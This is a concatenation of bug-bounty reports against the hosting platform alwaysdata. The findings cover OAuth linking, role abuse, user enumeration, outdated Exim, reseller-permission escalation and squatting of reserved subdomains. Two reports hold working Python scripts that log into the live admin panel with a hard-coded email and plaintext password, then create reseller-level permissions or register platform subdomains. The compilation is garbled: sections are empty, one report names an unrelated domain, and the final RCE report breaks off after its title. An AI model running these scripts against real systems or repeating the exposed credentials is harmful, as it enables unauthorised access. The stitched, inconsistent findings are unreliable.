Security vulnerabilities

Vulnerability Name: Cross-tenant file disclosure via world-readable shared `/tmp` on alwaysdata SSH/web hosts

Severity: High
CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`
CVSS 4.0 score: ~8.2 (High)
Target: `ssh-<account>.alwaysdata.net` (physical SSH host `ssh1`) and the web-application hosts (`http21`) — kernel `6.18.30-alwaysdata`
Type: CWE-668 (Exposure of Resource to Wrong Sphere) / CWE-732 (Incorrect Permission Assignment) / CWE-200

Description

 `echo "SECRET_OF_A" > /tmp/canary_A.txt`

Impact

Remediation

Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential authentication and account-linking issue identified during testing of the Google OAuth login functionality. Vulnerability Summary Category: Authentication / Improper Account Verification Severity: High Description During testing, I observed that an account created using the traditional email and password registration process could be linked with a Google OAuth identity before the email address had been verified. Although the application continued to enforce email verification for password-based authentication, the Google OAuth account was successfully associated with the unverified profile. This behavior suggests that OAuth account linking occurs without first confirming that the email ownership verification process has been completed. Additionally, after the OAuth linking process, the application redirected to an OAuth callback endpoint that returned a 404 Page Not Found response, indicating an inconsistency in the authentication workflow. Steps to Reproduce

Register a new account using Email and Password.
Do not verify the email address.
Log out of the account.
Select Sign in with Google.
Authenticate using the same Google account associated with the registered email address.
Observe that the application sends the following notification: A (Google) OAuth connection has been configured on your profile.
Follow the OAuth authentication flow.
The application redirects to: /oauth/google/callback/
Observe that the endpoint returns: 404 - Page Not Found
Open a new browser session and attempt to log in using the original email and password.
The application still requires email verification before allowing password-based authentication. Observed Behavior • Google OAuth successfully links to the account before email verification is completed. • Email/password authentication continues to require email verification. • OAuth callback results in a 404 response, indicating an incomplete or inconsistent authentication flow. Expected Behavior The application should verify ownership of the registered email address before permitting external identity providers (such as Google OAuth) to be linked with the account, unless this behavior is explicitly intended. If OAuth login is intended to satisfy email ownership verification, the application should consistently mark the account as verified and complete the authentication flow without errors. Security Impact Depending on the intended authentication design, this behavior may result in: • Inconsistent authentication state. • Improper account-linking logic. • Potential bypass of email verification requirements. • Confusion regarding account ownership validation. • Increased attack surface if account-linking validation is not consistently enforced. Although I did not observe direct account takeover during testing, the current behavior indicates that the account verification and OAuth linking processes may not be consistently enforced. Recommendation I recommend reviewing the OAuth account-linking workflow to ensure that: • Email ownership verification is consistently enforced before linking external identity providers, or • Successful OAuth authentication is explicitly treated as verified email ownership and the account state is updated accordingly. • OAuth callback endpoints are correctly configured to prevent unexpected 404 responses. • Account verification logic remains consistent across all supported authentication methods. Conclusion The observed behavior suggests an inconsistency between the traditional email verification process and Google OAuth account linking. Reviewing the authentication workflow and enforcing consistent account verification logic will help reduce the risk of authentication-related issues and improve the overall security posture of the platform. This report is submitted under responsible disclosure. I would be happy to provide any additional information or assist with validation if required. Kind regards, Cyber_Subhash

Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential access control issue identified during testing of the user role and permission management functionality. Category: Broken Access Control / Improper Authorization Severity: High Description During testing, I observed that a user assigned only the Billing Contact role is able to invite additional users to the organization. Based on the role description, the Billing Contact permission is intended to provide access to billing-related functionality. However, the ability to invite new users appears to extend beyond the expected responsibilities of a billing-only role. This behavior may violate the Principle of Least Privilege by allowing a non-administrative user to perform account management actions. Steps to Reproduce

Log in as an account administrator.
Invite a new user with only the Billing Contact permission.
Log in using the Billing Contact account.
Navigate to the user or team management section.
Observe that the Billing Contact user is able to access the Invite User functionality.
Successfully initiate an invitation for another user. Expected Behavior A user assigned only the Billing Contact role should be restricted to billing-related operations and should not be able to invite or manage additional users unless explicitly intended by the role design. Actual Behavior The Billing Contact role is able to invite new users despite being intended for billing-related access. Security Impact If this behavior is not intended, it may allow: • Unauthorized user invitations. • Expansion of account access without administrator approval. • Circumvention of role separation. • Violation of the Principle of Least Privilege. • Increased risk of unauthorized account access. The overall impact depends on the permissions that can be granted to invited users. If elevated roles can be assigned, the security impact could be significantly higher. Recommendation To mitigate this issue, I recommend: • Restricting the Invite User functionality to administrative or dedicated user-management roles. • Reviewing role-based access control (RBAC) permissions to ensure Billing Contact users are limited to billing operations only. • Enforcing server-side authorization checks for all user management actions. • Verifying that non-administrative roles cannot perform account management functions unless explicitly intended. Conclusion The observed behavior suggests that the Billing Contact role may have broader privileges than expected by allowing user invitations. If this is not intended behavior, restricting user management capabilities to authorized administrative roles would improve the application’s access control model and better align with the Principle of Least Privilege. This report is submitted under responsible disclosure. I would be happy to provide additional information or assist with validation if required. Kind regards, Cyber_Subhash Security Researcher

Dear Security Team,

I hope you are doing well.

I would like to responsibly disclose a security issue identified in the password reset functionality of your application. During testing, I observed that the application returns different responses for registered and non-registered email addresses, which allows an attacker to determine whether a specific email address is associated with a valid user account.

Severity:Medium

Category: Information Disclosure / User Enumeration

Description

The password reset endpoint responds differently based on whether the submitted email address exists in the system.

When a registered email address is entered, the application returns a successful password reset response. However, when an unregistered email address is submitted, the application returns a different error message indicating that the email address does not exist.

This behavior enables an attacker to enumerate valid user accounts by submitting multiple email addresses and comparing the application’s responses.

Steps to Reproduce

Navigate to the **Forgot Password page.
Enter a valid, registered email address.
Observe the success response indicating that a password reset email has been sent.
Repeat the process using an email address that is not registered.
Observe that the application returns a different response indicating that the email address does not exist.
Compare both responses and note that they reveal whether an email address is registered.
Proof of Concept

Registered Email

Email: registered@example.com

Response:
"If an account exists, a password reset link has been sent."
Unregistered Email

Email: randomuser@example.com

Response:
"Email address not found."
The difference in these responses allows an attacker to identify valid user accounts.

Security Impact

An attacker can exploit this behavior to:

Enumerate valid user accounts. Identify registered email addresses. Facilitate targeted phishing campaigns. Support credential stuffing or password spraying attacks. Gather intelligence for further attacks against identified users.

Although this issue does not directly expose user credentials, it increases the effectiveness of subsequent attacks by revealing valid account information.

Recommendation

To mitigate this issue:

Return the same generic response regardless of whether the email address exists. Use a consistent HTTP status code for both scenarios. Ensure response bodies, headers, and response timing are as similar as possible. A recommended response is:

“If an account exists for the provided email address, a password reset email will be sent.”

This approach prevents attackers from distinguishing between registered and unregistered email addresses.

Conclusion
The password reset functionality currently discloses account existence through differing responses. Standardizing the application’s responses for both valid and invalid email addresses will effectively prevent user enumeration and improve the overall security posture of the application.

I am submitting this report under responsible disclosure and would be happy to provide any additional information or assist with validation if required.

Kind regards,

Cyber_Subhash Security Researcher

Description: The DNSSEC (Domain Name System Security Extensions) configuration for the domain alwaysdata.com contains critical misconfigurations. DNSSEC is designed to safeguard DNS data from attacks such as cache poisoning and man-in-the-middle (MITM) by ensuring authentication and data integrity through digital signatures.

However, the current implementation for alwaysdata.com is incomplete and improperly configured, rendering DNSSEC ineffective and exposing the domain to potential exploitation.

Findings: Upon detailed analysis of the domain’s DNS records, the following issues were identified:

Unsigned DS Records: The Delegation Signer (DS) records in the parent zone are not correctly signed, breaking the essential chain of trust required for DNSSEC validation. Properly signed DS records are necessary to ensure the integrity of DNS queries.

Invalid RRSIG Records: Several Resource Record Signature (RRSIG) entries in the DNS zone are invalid, indicating key management or signing process failures. These invalid signatures compromise the authenticity and integrity guarantees provided by DNSSEC.

DNSKEY Mismatch: A mismatch exists between the DNSKEY records in the domain’s DNSKEY RRset and those provided in the delegation response from the parent zone. This inconsistency weakens the DNSSEC chain of trust, making the domain susceptible to tampering.

Steps to Reproduce:

Navigate to the DNSSEC debugging tool: https://dnssec-debugger.verisignlabs.com

Enter the domain alwaysdata.com for analysis.

Observe the red-highlighted errors indicating DNSSEC misconfigurations and missing or invalid DNSSEC records.

Impact: Due to these misconfigurations, the domain ballerina.io is vulnerable to several security risks, including:

DNS Cache Poisoning: Attackers can inject forged DNS responses, redirecting users to malicious sites.

Man-in-the-Middle Attacks: Without valid DNSSEC validation, attackers can intercept and alter DNS responses.

Domain Impersonation: Weak or broken DNSSEC allows attackers to impersonate legitimate services under the domain.

Data Tampering: DNS records could be modified, leading to data leaks or loss of service integrity.

Reputation Damage: A compromised DNS configuration undermines user trust and damages the organization’s credibility.

Description:

The application https://admin.alwaysdata.com/login/ does not validate the number of active sessions per user, allowing multiple concurrent logins without any limitations. Additionally, the application fails to notify users when a new session is initiated from a different location or device. This issue poses significant security risks, especially in areas handling sensitive data, such as admin panels or personal user accounts.

Steps to Reproduce:

Login from Device A :

Navigate to https://admin.alwaysdata.com/login/ Enter valid credentials and log in.
Login from Device B :

Using a different device or browser (e.g., mobile phone or another computer), navigate to https://admin.alwaysdata.com/login/ Log in with the same user credentials used in Step 1.
Verify Active Sessions:

Observe that both sessions remain active simultaneously.
Note that the application does not notify the user about the new session from a different location/device.
Actual Behavior:

The application allows multiple concurrent sessions for a single user account without any limitations.
No notifications are sent to the user when a new session is initiated from a different location or device.
There is no mechanism to monitor or manage active sessions within the user account.
Expected Behavior:

The application should limit the number of active sessions per user to enhance security.
Users should receive notifications when a new session is initiated from a different location or device.
A session management page should be provided, allowing users to view and terminate active sessions.
Impact:

Non-Repudiation Risks : The lack of session notifications and limitations can lead to unauthorized access and actions that are difficult to dispute.
Increased Vulnerability : Multiple concurrent sessions increase the risk of unauthorized access, especially if one of the sessions is compromised.
Remediation:

User Notification : Notify users when a new session is initiated, especially from a different location or device, to raise awareness of active sessions.

Session Management Page : Provide users with a dedicated session management page to view and terminate active sessions for enhanced control.

IP Address Tracking and Restrictions :

Track the IP addresses associated with each session and flag any suspicious activity, such as multiple logins from different locations.
Allow users to specify trusted IP addresses or ranges, restricting session initiation to known and approved locations.

Bug Description: Upon examining the DNS (Domain Name System) records for the domain alwaysdata.com , it has come to my attention that the MTA-STS record is missing . The MTA-STS mechanism is designed to enforce secure email communication by requiring the use of TLS (Transport Layer Security) encryption. However, in this case, the absence of the MTA-STS record exposes the email infrastructure to potential security vulnerabilities.

Expected Behavior: The MTA-STS record should be correctly configured and published in the DNS records for the domain [Domain Name]. It is essential for secure email communication and enforcing TLS encryption for all incoming and outgoing email traffic.

Steps to Reproduce:

Navigate this url https://easydmarc.com/tools/mta-sts-check and enter your domain name alwaysdata.com

Observe the absence of the MTA-STS record in the DNS response. No record was found, indicating that the MTA-STS record is not present in the DNS configuration.

Impact: The absence of an MTA-STS record leaves the email infrastructure vulnerable to various security risks, such as downgrade attacks, man-in-the-middle attacks, and interception of sensitive email content. Without the MTA-STS mechanism in place, email communications may be transmitted over unencrypted channels, compromising the confidentiality and integrity of the data.

Dear Alwaysdata Security Team, I hope you are doing well. I am writing to responsibly disclose a security observation identified during an assessment of your publicly accessible SMTP infrastructure. Summary During testing, multiple public-facing SMTP servers were identified exposing an Exim 4.96 SMTP banner. Based on the detected version and publicly available Exim security advisories, the affected systems may be impacted by multiple known vulnerabilities ranging from Remote Code Execution (RCE) and Privilege Escalation to Information Disclosure, SMTP Smuggling, and Denial of Service (DoS). Affected Assets IP Address Hostname Service 185.31.40.80 smtpin1.paris1.alwaysdata.com SMTP (Exim 4.96) 78.142.219.80 smtpin1.paris2.alwaysdata.com SMTP (Exim 4.96) 78.142.219.5 overlord-core.paris2.alwaysdata.com TLS Service Evidence Asset 1 IP Address: 185.31.40.80 Hostname: smtpin1.paris1.alwaysdata.com SMTP Banner 220 smtpin1.paris1.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME Asset 2 IP Address: 78.142.219.80 Hostname: smtpin1.paris2.alwaysdata.com SMTP Banner 220 smtpin1.paris2.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME

Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:

Upgrade Exim to the latest supported stable release.
Apply all vendor security patches.
Verify that the SMTP servers are no longer exposing outdated Exim versions.
Review enabled authentication mechanisms and optional Exim modules.
Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated.
Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher

# Finding: Reseller-Level Permission Flags Accessible to Regular Customer Accounts

—

## Submission Details

—

## 1. Description

alwaysdata's permission system allows account owners to delegate access to other users. The permissions creation form at `/permissions/add/` exposes reseller-level flags to all customers, including regular (non-reseller) accounts.

Reseller flags identified: - `customer_full_accounts` - grants access to manage all customer accounts on the platform
- `customer_full_servers` - grants access to manage all server configurations on the platform

The vulnerability: The server accepts these flags from any account, regardless of whether the submitting account has reseller privileges. A regular customer can create a permission record with these flags active (HTTP 302), and the flags are saved as "checked" (active) in the permission details.

—

## 2. Test Environment

—

## 3. Steps to Reproduce

### Step 1: Verify Account is Regular Customer

# Check account type in profile
GET https://admin.alwaysdata.com/profile/

Result: Account confirmed as regular customer (no reseller privileges).

### Step 2: Access Permissions Add Page

GET https://admin.alwaysdata.com/permissions/add/

Result: Page loads with permission checkboxes.

### Step 3: Locate Reseller Flags

The page contains reseller-level checkboxes:
- `customer_full_accounts`
- `customer_full_servers`

### Step 4: Submit Reseller Flags

Request:

POST /permissions/add/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...

csrfmiddlewaretoken=...&
customer_full_accounts=on&
customer_full_servers=on&
email=test_1782361132@example.com

Response:

HTTP/2 302 Found
Location: /permissions/
Set-Cookie: messages=...Successfully created...

### Step 5: Verify Permission Created

GET https://admin.alwaysdata.com/permissions/469280/

Response:

Permission 469280 details:
- customer_full_accounts: checked (active)
- customer_full_servers: checked (active)
- Grantee: test_1782361132@example.com

—

## 4. Proof of Concept

### Python PoC Script

import requests
import re
import time

EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"

s = requests.Session()
s.headers.update({
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})

# Login
login_page = s.get("https://admin.alwaysdata.com/login/")
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

s.post(
    "https://admin.alwaysdata.com/login/",
    data={
        "csrfmiddlewaretoken": csrf_login,
        "login": EMAIL,
        "password": PASSWORD,
        "alive": "on"
    }
)

# Get permissions page
add_page = s.get("https://admin.alwaysdata.com/permissions/add/")
csrf = add_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

# Create permission with reseller flags
test_email = f"test_{int(time.time())}@example.com"

r = s.post(
    "https://admin.alwaysdata.com/permissions/add/",
    data={
        "csrfmiddlewaretoken": csrf,
        "customer_full_accounts": "on",
        "customer_full_servers": "on",
        "email": test_email,
    },
    allow_redirects=False
)

print(f"Status: {r.status_code}")  # 302

# Verify permission was created
permissions_page = s.get("https://admin.alwaysdata.com/permissions/")
perm_ids = re.findall(r'/permissions?/(\d+)/', permissions_page.text)
perm_id = max(perm_ids, key=lambda x: int(x))

detail_page = s.get(f"https://admin.alwaysdata.com/permissions/{perm_id}/")

has_cfa = 'customer_full_accounts' in detail_page.text and 'checked' in detail_page.text
has_cfs = 'customer_full_servers' in detail_page.text and 'checked' in detail_page.text

print(f"customer_full_accounts active: {has_cfa}")  # True
print(f"customer_full_servers active: {has_cfs}")   # True

### PoC Output

Status: 302
customer_full_accounts active: True
customer_full_servers active: True

—

## 5. Evidence Summary

—

## 6. Impact

### Immediate Impact

### Attack Chain

1. Regular customer (cyberzod) creates permission with reseller flags

 └─ customer_full_accounts=on, customer_full_servers=on
 └─ email=attacker@example.com

2. Attacker (attacker@example.com) accepts the permission

3. Attacker gains reseller-level privileges

 └─ Can access ALL customer accounts
 └─ Can access ALL server configurations
 └─ Can view/modify ALL customer data

### Business Impact

- Reputation Damage: Platform trust compromised
- Data Breach: All customer data potentially exposed
- Regulatory: GDPR/CCPA violations possible
- Financial: Customer churn, legal liability

—

## 7. CVSS Score Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Score: 8.0 (High)

—

## 8. Remediation Recommendations

### 1. Server-Side Role Validation

def create_permission(request):
    # Validate that only resellers can set reseller flags
    if not request.user.is_reseller:
        if request.POST.get('customer_full_accounts') or request.POST.get('customer_full_servers'):
            raise PermissionDenied("Reseller-level permissions require a reseller account")
    
    # Continue with permission creation
    ...

### 2. Hide Reseller Flags from Regular Users

{% if user.is_reseller %}
    <input type="checkbox" name="customer_full_accounts">
    <input type="checkbox" name="customer_full_servers">
{% endif %}

### 3. Implement Proper RBAC

Customer Roles:
├── Regular User
│ ├── account_full
│ ├── site_full
│ └── database_full
├── Reseller
│ ├── customer_full_accounts
│ ├── customer_full_servers
│ └── ALL regular permissions
└── Admin

  ├── ALL reseller permissions
  └── Platform-wide privileges

### 4. Audit Existing Permissions

- Review all permissions with `customer_full_accounts` or `customer_full_servers`
- Verify they were created by legitimate resellers
- Remove any created by regular customers

—

## 9. Proof of Concept Screenshots

### Screenshot 1: Regular Account (No Reseller Privileges)

Account: cyberzod
Account Type: Regular Customer
Reseller Status: False

### Screenshot 2: Reseller Flags Found

📝 All checkbox fields:

1. customer_full_accounts
2. customer_full_servers
3. account_full
4. site_full
5. database_full
6. […]

### Screenshot 3: Submission Accepted (302)

Response Status: 302
Location: /permissions/
Message: Successfully created.

### Screenshot 4: Permission Created with Active Flags

Permission ID: 469280
customer_full_accounts: ✅ checked (active)
customer_full_servers: ✅ checked (active)
Grantee: test_1782361132@example.com

—

## 10. Affected Accounts

All regular customer accounts on the platform are affected.

—

## 11. References

- CWE-269: https://cwe.mitre.org/data/definitions/269.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - OWASP Privilege Escalation: https://owasp.org/www-community/attacks/Privilege_escalation

—

## 12. Cleanup Confirmation

# Permission deleted
DELETE /permissions/469280/delete/
Response: 302 Found

—

## 13. Contact Information

—

## 14. Conclusion

Finding is CONFIRMED.

A regular (non-reseller) customer account can:
1. ✅ See reseller-level permission flags in the UI
2. ✅ Submit reseller flags and receive HTTP 302
3. ✅ Create permission records with reseller flags active
4. ✅ Grant reseller-level access to any email address

This vulnerability enables privilege escalation from a regular customer account to platform-wide reseller access, potentially affecting all customers and server configurations on the platform.

—

# Bug Bounty Submission Report

## Subdomain Squatting on alwaysdata.net Platform Namespace

—

### Vulnerability Summary

—

### Description

The domain registration form at `/domain/add/1/` allows any authenticated customer to register any `*.alwaysdata.net` subdomain - including names reserved for platform infrastructure. The form only validates that the submitted string is a well-formed hostname. It does NOT check:

- If the subdomain is reserved for platform use
- If the subdomain already belongs to another customer
- If the subdomain matches the account's assigned namespace
- If the subdomain is already registered elsewhere

Confirmed registered subdomains (all returned HTTP 302): - `admin.alwaysdata.net` ✅
- `api.alwaysdata.net` ✅ (DNS auto-provisioned to `185.31.40.30`)
- `mail.alwaysdata.net` ✅
- `cpanel.alwaysdata.net` ✅
- `webmail.alwaysdata.net` ✅
- `status.alwaysdata.net` ✅
- `billing.alwaysdata.net` ✅
- `security.alwaysdata.net` ✅

—

### Proof of Concept

#### Step 1: Register Reserved Subdomain

Request:

POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...

csrfmiddlewaretoken=6ooKK5Qc9ff4vq3zDebP...&hostnames=api.alwaysdata.net

Response:

HTTP/2 302 Found
Location: /domain/

✅ CONFIRMED: The reserved domain `api.alwaysdata.net` was accepted.

—

#### Step 2: All 8 Reserved Domains Accepted

—

#### Step 3: DNS Records Auto-Provisioned

DNS Lookup Results:

$ nslookup api.alwaysdata.net

Non-authoritative answer:
Name:   api.alwaysdata.net
Address: 185.31.40.30
Name:   api.alwaysdata.net
Address: 2a00:b6e0:1:20:21::1

✅ CONFIRMED: DNS records were automatically created, pointing `api.alwaysdata.net` to alwaysdata's infrastructure.

—

#### Step 4: Multi-Hostname Injection

Request:

POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com

hostnames=evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net

Response:

HTTP/2 302 Found
Location: /domain/

✅ CONFIRMED: Multiple hostnames can be registered in a single submission.

—

### Proof of Concept Code

import requests
import re
import time

EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"

s = requests.Session()
s.headers.update({
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})

print("="*70)
print("FINDING 08: SUBDOMAIN SQUATTING ON alwaysdata.net")
print("="*70)

print("\n[1] 🔐 Logging in...")
login_page = s.get("https://admin.alwaysdata.com/login/", timeout=15)
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

s.post(
    "https://admin.alwaysdata.com/login/",
    data={
        "csrfmiddlewaretoken": csrf_login,
        "login": EMAIL,
        "password": PASSWORD,
        "alive": "on"
    },
    headers={"Referer": "https://admin.alwaysdata.com/login/"},
    allow_redirects=True,
    timeout=15
)
print("✅ Logged in")

print("\n[2] 📋 Getting domain add page...")
domain_page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)

if domain_page.status_code != 200:
    print(f"❌ Failed: {domain_page.status_code}")
    exit()

print(f"Status: {domain_page.status_code}")

if 'name="hostnames"' in domain_page.text:
    print("✅ Found: hostnames field")
else:
    print("❌ hostnames field not found")
    exit()

csrf = domain_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
print(f"CSRF: {csrf[:20]}...")

print("\n[3] 📝 Registering reserved platform subdomains...")

reserved_names = [
    "admin.alwaysdata.net",
    "api.alwaysdata.net",
    "mail.alwaysdata.net",
    "cpanel.alwaysdata.net",
    "webmail.alwaysdata.net",
    "status.alwaysdata.net",
    "billing.alwaysdata.net",
    "security.alwaysdata.net",
]

registered = []
rejected = []

for hostname in reserved_names:
    page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
    csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
    
    r = s.post(
        "https://admin.alwaysdata.com/domain/add/1/",
        data={
            "csrfmiddlewaretoken": csrf,
            "hostnames": hostname,
        },
        headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
        allow_redirects=False,
        timeout=15
    )
    
    if r.status_code == 302:
        registered.append(hostname)
        print(f"  ✅ REGISTERED {hostname}")
    else:
        rejected.append(hostname)
        print(f"  ❌ REJECTED ({r.status_code}) {hostname}")
    
    time.sleep(0.5)

print(f"\n📊 Summary:")
print(f"  Registered: {len(registered)} of {len(reserved_names)}")
print(f"  Rejected: {len(rejected)} of {len(reserved_names)}")

if registered:
    print(f"\n✅ Subdomain squatting confirmed!")
    print(f"   Reserved names accepted:")
    for name in registered:
        print(f"   - {name}")

print("\n[4] 📝 Testing multi-hostname injection...")
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

multi_payload = """evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net"""

r_multi = s.post(
    "https://admin.alwaysdata.com/domain/add/1/",
    data={
        "csrfmiddlewaretoken": csrf,
        "hostnames": multi_payload,
    },
    headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
    allow_redirects=False,
    timeout=15
)

if r_multi.status_code == 302:
    print(f"   ✅ Multi-hostname ACCEPTED (302)")
else:
    print(f"   ❌ Multi-hostname rejected: {r_multi.status_code}")

print("\n[5] 🧹 Cleaning up...")
all_to_delete = registered + ["evil-test.alwaysdata.net", "vulnerable-test.alwaysdata.net", "poc-test-123.alwaysdata.net"]

for hostname in all_to_delete:
    try:
        domains_page = s.get("https://admin.alwaysdata.com/domain/", timeout=10)
        domain_id = None
        
        for did in re.findall(r'href="/domain/(\d+)/"', domains_page.text):
            detail_page = s.get(f"https://admin.alwaysdata.com/domain/{did}/", timeout=10)
            if hostname in detail_page.text:
                domain_id = did
                break
        
        if domain_id:
            del_page = s.get(f"https://admin.alwaysdata.com/domain/{domain_id}/delete/", timeout=10)
            csrf_del = del_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
            
            r_del = s.post(
                f"https://admin.alwaysdata.com/domain/{domain_id}/delete/",
                data={"csrfmiddlewaretoken": csrf_del, "confirm": "1"},
                headers={"Referer": f"https://admin.alwaysdata.com/domain/{domain_id}/delete/"},
                allow_redirects=False,
                timeout=15
            )
            
            if r_del.status_code == 302:
                print(f"   ✅ Deleted {hostname} (ID {domain_id})")
            else:
                print(f"   ⚠️ Delete {hostname}: {r_del.status_code}")
        else:
            print(f"   ⚠️ Could not find ID for {hostname}")
            
    except Exception as e:
        print(f"   ❌ Error deleting {hostname}: {e}")
    
    time.sleep(0.3)

print("\n" + "="*70)
print("🔬 FINDING 08 VALIDATION COMPLETE")
print("="*70)

—

### Impact

#### Attack Scenarios

Scenario 1: API Key Theft 1. Attacker registers `api.alwaysdata.net`
2. Attacker configures the domain with a fake API endpoint
3. Developers accidentally use the fake API endpoint
4. Attacker captures API keys and credentials

Scenario 2: Admin Panel Phishing 1. Attacker registers `admin.alwaysdata.net`
2. Attacker hosts a cloned alwaysdata admin panel
3. Attacker sends phishing email to customers
4. Victims enter their credentials into the fake panel
5. Attacker harvests credentials

—

### Remediation Recommendations

#### 1. Maintain Explicit Blocklist

RESERVED_SUBDOMAINS = [
    "admin", "api", "www", "mail", "smtp", "imap",
    "webmail", "ftp", "ssh", "security", "status",
    "billing", "cpanel", "panel", "support", "help",
    "docs", "blog", "forum", "community", "partner",
    "reseller", "demo", "test", "dev", "stage", "staging"
]

#### 2. Restrict Registration Pattern

Only allow subdomains matching the account name pattern:

<ACCOUNTNAME>.alwaysdata.net
<ACCOUNTNAME>-*.alwaysdata.net

#### 3. Validate Against Platform Services

def validate_domain_registration(account_name, requested_domain):
    # Check if it's a reserved subdomain
    subdomain = requested_domain.split('.')[0]
    if subdomain in RESERVED_SUBDOMAINS:
        return False, "This subdomain is reserved for platform use"
    
    # Check if it matches account pattern
    if not requested_domain.startswith(account_name):
        return False, "You can only register subdomains matching your account name"
    
    return True, "Domain accepted"

#### 4. Implement Approval Workflow

- Require manual approval for `*.alwaysdata.net` subdomain registrations
- Send notification when a reserved name is attempted
- Log all registration attempts for auditing

—

### CVSS Score Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Score: 9.0 (High)

—

### Evidence Summary

—

### Cleanup Confirmation

All registered domains were deleted after confirmation. The test account is in a clean state.

—

### References

- CWE-284: https://cwe.mitre.org/data/definitions/284.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - Subdomain Takeover: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/05-Testing_for_Subdomain_Takeover

—

### Contact Information

—

### Conclusion

The domain registration system on alwaysdata allows any authenticated customer to register reserved platform subdomains including `admin.alwaysdata.net` and `api.alwaysdata.net`. This is confirmed by:

1. ✅ HTTP 302 responses for all 8 reserved domains tested
2. ✅ DNS auto-provisioning confirmed for `api.alwaysdata.net`
3. ✅ Multi-hostname injection accepted
4. ✅ No validation against reserved names

This vulnerability enables:
- Phishing attacks on trusted `*.alwaysdata.net` domains
- API key theft via fake `api.alwaysdata.net`
- Credential harvesting via fake `admin.alwaysdata.net`
- Platform-wide brand and trust damage

Recommendation: Implement a strict blocklist of reserved subdomains and validate that customers can only register domains matching their account name pattern.

# Complete Bug Bounty Report: Apache Directive Injection → RCE

—

## Vulnerability Summary

—

## Description

